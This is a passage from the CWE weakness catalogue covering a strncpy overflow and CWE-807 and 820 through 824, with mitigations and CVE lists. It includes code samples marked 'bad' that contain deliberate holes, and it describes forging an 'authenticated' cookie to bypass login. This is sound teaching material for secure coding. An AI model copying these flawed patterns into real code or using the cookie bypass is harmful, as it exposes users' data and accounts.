Example Language: C *(good)*

```
...
char source[21] = "the character string";
char dest[12];
strncpy(dest, source, sizeof(dest)-1);
...
```

Example 2:

In this example, the method outputFilenameToLog outputs a filename to a log file. The method arguments include a pointer to a character string containing the file name and an integer for the number of characters in the string. The filename is copied to a buffer where the buffer size is set to a maximum size for inputs to the log file. The method then calls another method to save the contents of the buffer to the log file.

Example Language: C *(bad)*

```
#define LOG_INPUT_SIZE 40
// saves the file name to a log file
int outputFilenameToLog(char *filename, int length) {
    int success;
    // buffer with size set to maximum size for input to log file
    char buf[LOG_INPUT_SIZE];
    // copy filename to buffer
    strncpy(buf, filename, length);
    // save to log file
    success = saveToLogFile(buf);
    return success;
}
```

However, in this case the string copy method, strncpy, mistakenly uses the length method argument to determine the number of characters to copy rather than using the size of the local character string, buf. This can lead to a buffer overflow if the number of characters contained in character string pointed to by filename is larger then the number of characters allowed for the local character string. The string copy method should use the buf character string within a sizeof call to ensure that only characters up to the size of the buf array are copied to avoid a buffer overflow, as shown below.

Example Language: C *(good)*

```
...
// copy filename to buffer
strncpy(buf, filename, sizeof(buf)-1);
...
```

Affected Resources

- Memory

References

[REF-56]Microsoft. "Using the Strsafe.h Functions". < http://msdn.microsoft.com/en-us/library/ms647466.aspx >.

[REF-57]Matt Messier and John Viega. "Safe C String Library v1.0.3". < http://www.zork.org/safestr/ >.

[REF-58]Michael Howard. "Address Space Layout Randomization in Windows Vista". < http://blogs.msdn.com/michael_howard/archive/2006/05/26/address-space-layout-randomization-in-windows-vista.aspx >.

[REF-59]Arjan van de Ven. "Limiting buffer overflows with ExecShield". < http://www.redhat.com/magazine/009jul05/features/execshield/ >.

[REF-60]"PaX". < http://en.wikipedia.org/wiki/PaX >.

[REF-61]Microsoft. "Understanding DEP as a mitigation technology part 1". < http://blogs.technet.com/b/srd/archive/2009/06/12/understanding-dep-as-a-mitigation-technology-part-1.aspx >.

[REF-64]Grant Murphy. "Position Independent Executables (PIE)". 2012 November 8. Red Hat. < https://securityblog.redhat.com/2012/11/28/position-independent-executables-pie/ >.

CWE-807: Reliance on Untrusted Inputs in a Security Decision

Weakness ID : 807 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The application uses a protection mechanism that relies on the existence or values of an input, but the input can be modified by an untrusted actor in a way that bypasses the protection mechanism.

Extended Description

Developers may assume that inputs such as cookies, environment variables, and hidden form fields cannot be modified. However, an attacker could change these inputs using customized clients or other attacks. This change might not be detected. When security decisions such as authentication and authorization are made based on the values of these inputs, attackers can bypass the security of the software.

Without sufficient encryption, integrity checking, or other mechanism, any input that originates from an outsider cannot be trusted.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	693	Protection Mechanism Failure	1344
ParentOf	V	302	Authentication Bypass by Assumed-Immutable Data	668
ParentOf	V	350	Reliance on Reverse DNS Resolution for a Security-Critical Action	769
ParentOf	V	784	Reliance on Cookies without Validation and Integrity Checking in a Security Decision	1456

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1012	Cross Cutting	1967

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Confidentiality Access Control Availability Other	Bypass Protection Mechanism Gain Privileges or Assume Identity Varies by Context *Attackers can bypass the security decision to access whatever is being protected. The consequences will depend on the associated functionality, but they can range from granting additional privileges to untrusted users to bypassing important security checks. Ultimately, this weakness may lead to exposure or modification of sensitive data, system crash, or execution of arbitrary code.*	

Detection Methods

Manual Static Analysis

Since this weakness does not typically appear frequently within a single software package, manual white box techniques may be able to provide sufficient code coverage and reduction of false positives if all potentially-vulnerable operations can be assessed within limited time constraints.

Effectiveness = High

The effectiveness and speed of manual analysis will be reduced if the there is not a centralized security mechanism, and the security logic is widely distributed throughout the software.

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Bytecode Weakness Analysis - including disassembler + source code weakness analysis Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness = SOAR Partial

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness = SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Web Application Scanner Web Services Scanner Database Scanners

Effectiveness = SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Fuzz Tester Framework-based Fuzzer Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

Effectiveness = SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Manual Source Code Review (not inspections)

Effectiveness = High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

Effectiveness = SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.) Formal Methods / Correct-By-Construction Cost effective for partial coverage: Attack Modeling

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Strategy = Attack Surface Reduction

Store state information and sensitive data on the server side only. Ensure that the system definitively and unambiguously keeps track of its own state and user state and has rules defined for legitimate state transitions. Do not allow any application user to affect state directly in any way other than through legitimate actions leading to state transitions. If information must be stored on the client, do not do so without encryption and integrity checking, or otherwise having a mechanism on the server side to catch tampering. Use a message authentication code (MAC) algorithm, such as Hash Message Authentication Code (HMAC) [REF-529]. Apply this against the state or sensitive data that you has to be exposed, which can guarantee the integrity of the data - i.e., that the data has not been modified. Ensure that a strong hash function is used (CWE-328).

Phase: Architecture and Design

Strategy = Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. With a stateless protocol such as HTTP, use a framework that maintains the state for you. Examples include ASP.NET View State [REF-756] and the OWASP ESAPI Session Management feature [REF-45]. Be careful of language features that provide state support, since these might be provided as a convenience to the programmer and may not be considering security.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Phase: Operation

Phase: Implementation

Strategy = Environment Hardening

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

Phase: Architecture and Design

Phase: Implementation

Strategy = Attack Surface Reduction

Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls. Identify all inputs that are used for security decisions and determine if you can modify the design so that you do not have to rely on submitted inputs at all. For example, you may be able to keep critical information about the user's session on the server side instead of recording it within external data.

Demonstrative Examples

Example 1:

The following code excerpt reads a value from a browser cookie to determine the role of the user.

Example Language: Java *(bad)*

```
Cookie[] cookies = request.getCookies();
for (int i =0; i< cookies.length; i++) {
    Cookie c = cookies[i];
    if (c.getName().equals("role")) {
        userRole = c.getValue();
    }
}
```

Example 2:

The following code could be for a medical records application. It performs authentication by checking if a cookie has been set.

Example Language: PHP *(bad)*

```
$auth = $_COOKIES['authenticated'];
if (! $auth) {
    if (AuthenticateUser($_POST['user'], $_POST['password']) == "success") {
        // save the cookie to send out in future responses
        setcookie("authenticated", "1", time()+60*60*2);
    }
    else {
        ShowLoginScreen();
        die("\n");
    }
}
DisplayMedicalHistory($_POST['patient_ID']);
```

The programmer expects that the AuthenticateUser() check will always be applied, and the "authenticated" cookie will only be set when authentication succeeds. The programmer even diligently specifies a 2-hour expiration for the cookie.

However, the attacker can set the "authenticated" cookie to a non-zero value such as 1. As a result, the $auth variable is 1, and the AuthenticateUser() check is not even performed. The attacker has bypassed the authentication.

Example 3:

In the following example, an authentication flag is read from a browser cookie, thus allowing for external control of user state data.

Example Language: Java *(bad)*

```
Cookie[] cookies = request.getCookies();
for (int i =0; i< cookies.length; i++) {
    Cookie c = cookies[i];
    if (c.getName().equals("authenticated") && Boolean.TRUE.equals(c.getValue())) {
        authenticated = true;
    }
}
```

Example 4:

The following code samples use a DNS lookup in order to decide whether or not an inbound request is from a trusted host. If an attacker can poison the DNS cache, they can gain trusted status.

Example Language: C *(bad)*

```
struct hostent *hp;struct in_addr myaddr;
char* tHost = "trustme.example.com";
myaddr.s_addr=inet_addr(ip_addr_string);
hp = gethostbyaddr((char *) &myaddr, sizeof(struct in_addr), AF_INET);
if (hp && !strncmp(hp->h_name, tHost, sizeof(tHost))) {
    trusted = true;
} else {
    trusted = false;
}
```

Example Language: Java *(bad)*

```
String ip = request.getRemoteAddr();
InetAddress addr = InetAddress.getByName(ip);
if (addr.getCanonicalHostName().endsWith("trustme.com")) {
    trusted = true;
}
```

Example Language: C# *(bad)*

```
IPAddress hostIPAddress = IPAddress.Parse(RemoteIpAddress);
IPHostEntry hostInfo = Dns.GetHostByAddress(hostIPAddress);
if (hostInfo.HostName.EndsWith("trustme.com")) {
    trusted = true;
}
```

IP addresses are more reliable than DNS names, but they can also be spoofed. Attackers can easily forge the source IP address of the packets they send, but response packets will return to the forged IP address. To see the response packets, the attacker has to sniff the traffic between the victim machine and the forged IP address. In order to accomplish the required sniffing, attackers typically attempt to locate themselves on the same subnet as the victim machine. Attackers may be able to circumvent this requirement by using source routing, but source routing is disabled across much of the Internet today. In summary, IP address verification can be a useful part of an authentication scheme, but it should not be the single factor required for authentication.

Observed Examples

Reference	Description
CVE-2009-1549	Attacker can bypass authentication by setting a cookie to a specific value. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1549
CVE-2009-1619	Attacker can bypass authentication and gain admin privileges by setting an "admin" cookie to 1. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1619
CVE-2009-0864	Content management system allows admin privileges by setting a "login" cookie to "OK." https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0864
CVE-2008-5784	e-dating application allows admin privileges by setting the admin cookie to 1. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5784
CVE-2008-6291	Web-based email list manager allows attackers to gain admin privileges by setting a login cookie to "admin." https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-6291

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	803	2010 Top 25 - Porous Defenses	800	1895
MemberOf	C	859	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 16 - Platform Security (SEC)	844	1909
MemberOf	C	866	2011 Top 25 - Porous Defenses	900	1912
MemberOf	C	878	CERT C++ Secure Coding Section 10 - Environment (ENV)	868	1918
MemberOf	V	884	CWE Cross-section	884	2037

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	SEC09-J		Do not base security checks on untrusted sources

References

[REF-754]Frank Kim. "Top 25 Series - Rank 6 - Reliance on Untrusted Inputs in a Security Decision". 2010 March 5. SANS Software Security Institute. < http://blogs.sans.org/appsecstreetfighter/2010/03/05/top-25-series-rank-6-reliance-on-untrusted-inputs-in-a-security-decision/ >.

[REF-529]"HMAC". 2011 August 8. Wikipedia. < http://en.wikipedia.org/wiki/Hmac >.

[REF-756]Scott Mitchell. "Understanding ASP.NET View State". 2004 May 5. Microsoft. < http://msdn.microsoft.com/en-us/library/ms972976.aspx >.

[REF-45]OWASP. "OWASP Enterprise Security API (ESAPI) Project". < http://www.owasp.org/index.php/ESAPI >.

CWE-820: Missing Synchronization

Weakness ID : 820 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software utilizes a shared resource in a concurrent manner but does not attempt to synchronize access to the resource.

Extended Description

If access to a shared resource is not synchronized, then the resource may not be in a state that is expected by the software. This might lead to unexpected or insecure behaviors, especially if an attacker can influence the shared resource.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	662	Improper Synchronization	1288
ParentOf	V	543	Use of Singleton Pattern Without Synchronization in a Multithreaded Context	1115
ParentOf	B	567	Unsynchronized Access to Shared Data in a Multithreaded Context	1144
ParentOf	V	1096	Singleton Class Instance Creation without Proper Locking or Synchronization	1696

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	557	Concurrency Issues	1869

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data	
Confidentiality	Read Application Data	
Other	Alter Execution Logic	

Demonstrative Examples

Example 1:

The following code intends to fork a process, then have both the parent and child processes print a single line.

Example Language: C *(bad)*

```
static void print (char * string) {
    char * word;
    int counter;
    for (word = string; counter = *word++; ) {
        putc(counter, stdout);
        fflush(stdout);
        /* Make timing window a little larger... */
        sleep(1);
    }
}
int main(void) {
    pid_t pid;
    pid = fork();
    if (pid == -1) {
        exit(-2);
    }
    else if (pid == 0) {
        print("child\n");
```

```
    }
    else {
        print("PARENT\n");
    }
    exit(0);
}
```

One might expect the code to print out something like:

PARENT
child

However, because the parent and child are executing concurrently, and stdout is flushed each time a character is printed, the output might be mixed together, such as:

PcAhRiElNdT
[blank line]
[blank line]

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	853	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 10 - Locking (LCK)	844	1906
MemberOf	C	1143	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 09. Locking (LCK)	1133	1988

Notes

Maintenance

Deeper research is necessary for synchronization and related mechanisms, including locks, mutexes, semaphores, and other mechanisms. Multiple entries are dependent on this research, which includes relationships to concurrency, race conditions, reentrant functions, etc. CWE-662 and its children - including CWE-667, CWE-820, CWE-821, and others - may need to be modified significantly, along with their relationships.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)	LCK05-J		Synchronize access to static fields that can be modified by untrusted code

CWE-821: Incorrect Synchronization

Weakness ID : 821 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software utilizes a shared resource in a concurrent manner, but it does not correctly synchronize access to the resource.

Extended Description

If access to a shared resource is not correctly synchronized, then the resource may not be in a state that is expected by the software. This might lead to unexpected or insecure behaviors, especially if an attacker can influence the shared resource.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	662	Improper Synchronization	1288
ParentOf	V	572	Call to Thread run() instead of start()	1152
ParentOf	V	574	EJB Bad Practices: Use of Synchronization Primitives	1155
ParentOf	B	1088	Synchronous Access of Remote Resource without Timeout	1688
ParentOf	B	1264	Hardware Logic with Insecure De-Synchronization between Control and Data Channels	1800

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	557	Concurrency Issues	1869

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data	
Confidentiality	Read Application Data	
Other	Alter Execution Logic	

Notes

Maintenance

Deeper research is necessary for synchronization and related mechanisms, including locks, mutexes, semaphores, and other mechanisms. Multiple entries are dependent on this research, which includes relationships to concurrency, race conditions, reentrant functions, etc. CWE-662 and its children - including CWE-667, CWE-820, CWE-821, and others - may need to be modified significantly, along with their relationships.

CWE-822: Untrusted Pointer Dereference

Weakness ID : 822 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The program obtains a value from an untrusted source, converts this value to a pointer, and dereferences the resulting pointer.

Extended Description

An attacker can supply a pointer for memory locations that the program is not expecting. If the pointer is dereferenced for a write operation, the attack might allow modification of critical program state variables, cause a crash, or execute code. If the dereferencing operation is for a read, then the attack might allow reading of sensitive data, cause a crash, or set a program variable to an unexpected value (since the value will be read from an unexpected memory location).

There are several variants of this weakness, including but not necessarily limited to:

- The untrusted value is directly invoked as a function call.

- In OS kernels or drivers where there is a boundary between "userland" and privileged memory spaces, an untrusted pointer might enter through an API or system call (see CWE-781 for one such example).
- Inadvertently accepting the value from an untrusted control sphere when it did not have to be accepted as input at all. This might occur when the code was originally developed to be run by a single user in a non-networked environment, and the code is then ported to or otherwise exposed to a networked environment.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	271
CanFollow	V	781	Improper Address Validation in IOCTL with METHOD_NEITHER I/O Control Code	1449
CanPrecede	B	125	Out-of-bounds Read	302
CanPrecede	B	787	Out-of-bounds Write	1463

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	465	Pointer Issues	1868

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Memory *If the untrusted pointer is used in a read operation, an attacker might be able to read sensitive portions of memory.*	
Availability	DoS: Crash, Exit, or Restart *If the untrusted pointer references a memory location that is not accessible to the program, or points to a location that is "malformed" or larger than expected by a read or write operation, the application may terminate unexpectedly.*	
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands Modify Memory *If the untrusted pointer is used in a function call, or points to unexpected data in a write operation, then code execution may be possible.*	

Observed Examples

Reference	Description
CVE-2007-5655	message-passing framework interprets values in packets as pointers, causing a crash. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5655*
CVE-2010-2299	labeled as a "type confusion" issue, also referred to as a "stale pointer." However, the bug ID says "contents are simply interpreted as a pointer... renderer ordinarily doesn't supply this pointer directly". The "handle" in

Reference	Description
	the untrusted area is replaced in one function, but not another - thus also, effectively, exposure to wrong sphere (CWE-668). *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2299*
CVE-2009-1719	Untrusted dereference using undocumented constructor. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1719*
CVE-2009-1250	An error code is incorrectly checked and interpreted as a pointer, leading to a crash. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1250*
CVE-2009-0311	An untrusted value is obtained from a packet and directly called as a function pointer, leading to code execution. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0311*
CVE-2010-1818	Undocumented attribute in multimedia software allows "unmarshaling" of an untrusted pointer. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1818*
CVE-2010-3189	ActiveX control for security software accepts a parameter that is assumed to be an initialized pointer. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3189*
CVE-2010-1253	Spreadsheet software treats certain record values that lead to "user-controlled pointer" (might be untrusted offset, not untrusted pointer). *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1253*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	867	2011 Top 25 - Weaknesses On the Cusp	900	1912
MemberOf	C	876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)	868	1917
MemberOf	V	884	CWE Cross-section	884	2037

Notes

Maintenance

There are close relationships between incorrect pointer dereferences and other weaknesses related to buffer operations. There may not be sufficient community agreement regarding these relationships. Further study is needed to determine when these relationships are chains, composites, perspective/layering, or other types of relationships. As of September 2010, most of the relationships are being captured as chains.

Terminology

Many weaknesses related to pointer dereferences fall under the general term of "memory corruption" or "memory safety." As of September 2010, there is no commonly-used terminology that covers the lower-level variants.

Research Gap

Under-studied and probably under-reported as of September 2010. This weakness has been reported in high-visibility software, but applied vulnerability researchers have only been investigating it since approximately 2008, and there are only a few public reports. Few reports identify weaknesses at such a low level, which makes it more difficult to find and study real-world code examples.

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
129	Pointer Manipulation

CWE-823: Use of Out-of-range Pointer Offset

Weakness ID : 823 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The program performs pointer arithmetic on a valid pointer, but it uses an offset that can point outside of the intended range of valid memory locations for the resulting pointer.

Extended Description

While a pointer can contain a reference to any arbitrary memory location, a program typically only intends to use the pointer to access limited portions of memory, such as contiguous memory used to access an individual array.

Programs may use offsets in order to access fields or sub-elements stored within structured data. The offset might be out-of-range if it comes from an untrusted source, is the result of an incorrect calculation, or occurs because of another error.

If an attacker can control or influence the offset so that it points outside of the intended boundaries of the structure, then the attacker may be able to read or write to memory locations that are used elsewhere in the program. As a result, the attack might change the state of the software as accessed through program variables, cause a crash or instable behavior, and possibly lead to code execution.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	271
CanFollow		129	Improper Validation of Array Index	312
CanPrecede		125	Out-of-bounds Read	302
CanPrecede		787	Out-of-bounds Write	1463

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	465	Pointer Issues	1868

Alternate Terms

Untrusted pointer offset : This term is narrower than the concept of "out-of-range" offset, since the offset might be the result of a calculation or other error that does not depend on any externally-supplied values.

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Memory	

Scope	Impact	Likelihood
	If the untrusted pointer is used in a read operation, an attacker might be able to read sensitive portions of memory.	
Availability	DoS: Crash, Exit, or Restart *If the untrusted pointer references a memory location that is not accessible to the program, or points to a location that is "malformed" or larger than expected by a read or write operation, the application may terminate unexpectedly.*	
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands Modify Memory *If the untrusted pointer is used in a function call, or points to unexpected data in a write operation, then code execution may be possible.*	

Observed Examples

Reference	Description
CVE-2010-2160	Invalid offset in undocumented opcode leads to memory corruption. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2160*
CVE-2010-1281	Multimedia player uses untrusted value from a file when using file-pointer calculations. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1281*
CVE-2009-3129	Spreadsheet program processes a record with an invalid size field, which is later used as an offset. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3129*
CVE-2009-2694	Instant messaging library does not validate an offset value specified in a packet. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2694*
CVE-2009-2687	Language interpreter does not properly handle invalid offsets in JPEG image, leading to out-of-bounds memory access and crash. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2687*
CVE-2009-0690	negative offset leads to out-of-bounds read *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0690*
CVE-2008-4114	untrusted offset in kernel *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4114*
CVE-2010-2873	"blind trust" of an offset value while writing heap memory allows corruption of function pointer,leading to code execution *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2873*
CVE-2010-2866	negative value (signed) causes pointer miscalculation *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2866*
CVE-2010-2872	signed values cause incorrect pointer calculation *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2872*
CVE-2007-5657	values used as pointer offsets *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5657*
CVE-2010-2867	a return value from a function is sign-extended if the value is signed, then used as an offset for pointer arithmetic *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2867*
CVE-2009-1097	portions of a GIF image used as offsets, causing corruption of an object pointer. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1097*
CVE-2008-1807	invalid numeric field leads to a free of arbitrary memory locations, then code execution. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1807*
CVE-2007-2500	large number of elements leads to a free of an arbitrary address

Reference	Description
	https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2500
CVE-2008-1686	array index issue (CWE-129) with negative offset, used to dereference a function pointer *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1686*
CVE-2010-2878	"buffer seek" value - basically an offset? *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2878*

Notes

Maintenance

There are close relationships between incorrect pointer dereferences and other weaknesses related to buffer operations. There may not be sufficient community agreement regarding these relationships. Further study is needed to determine when these relationships are chains, composites, perspective/layering, or other types of relationships. As of September 2010, most of the relationships are being captured as chains.

Terminology

Many weaknesses related to pointer dereferences fall under the general term of "memory corruption" or "memory safety." As of September 2010, there is no commonly-used terminology that covers the lower-level variants.

Research Gap

Under-studied and probably under-reported as of September 2010. This weakness has been reported in high-visibility software, but applied vulnerability researchers have only been investigating it since approximately 2008, and there are only a few public reports. Few reports identify weaknesses at such a low level, which makes it more difficult to find and study real-world code examples.

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
129	Pointer Manipulation

References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-824: Access of Uninitialized Pointer

Weakness ID : 824 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The program accesses or uses a pointer that has not been initialized.

Extended Description

If the pointer contains an uninitialized value, then the value might not point to a valid memory location. This could cause the program to read from or write to unexpected memory locations, leading to a denial of service. If the uninitialized pointer is used as a function call, then arbitrary functions could be invoked. If an attacker can influence the portion of uninitialized memory that is contained in the pointer, this weakness could be leveraged to execute code or perform other attacks.

Depending on memory layout, associated memory management behaviors, and program operation, the attacker might be able to influence the contents of the uninitialized pointer, thus gaining more fine-grained control of the memory location to be accessed.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	271
CanPrecede	B	125	Out-of-bounds Read	302
CanPrecede	B	787	Out-of-bounds Write	1463

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	271

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	465	Pointer Issues	1868

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Memory *If the uninitialized pointer is used in a read operation, an attacker might be able to read sensitive portions of memory.*	
Availability	DoS: Crash, Exit, or Restart *If the uninitialized pointer references a memory location that is not accessible to the program, or points to a location that is "malformed" (such as NULL) or larger than expected by a read or write operation, then a crash may occur.*	
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands *If the uninitialized pointer is used in a function call, or points to unexpected data in a write operation, then code execution may be possible.*	

Observed Examples

Reference	Description
CVE-2010-0211	chain: unchecked return value (CWE-252) leads to free of invalid, uninitialized pointer (CWE-824). *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0211*
CVE-2009-2768	Pointer in structure is not initialized, leading to NULL pointer dereference (CWE-476) and system crash. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2768*
CVE-2009-1721	Free of an uninitialized pointer. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1721*

Reference	Description
CVE-2009-1415	Improper handling of invalid signatures leads to free of invalid pointer. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1415*
CVE-2009-0846	Invalid encoding triggers free of uninitialized pointer. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0846*
CVE-2009-0040	Crafted PNG image leads to free of uninitialized pointer. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0040*
CVE-2008-2934	Crafted GIF image leads to free of uninitialized pointer. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-2934*
CVE-2007-4682	Access of uninitialized pointer might lead to code execution. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4682*
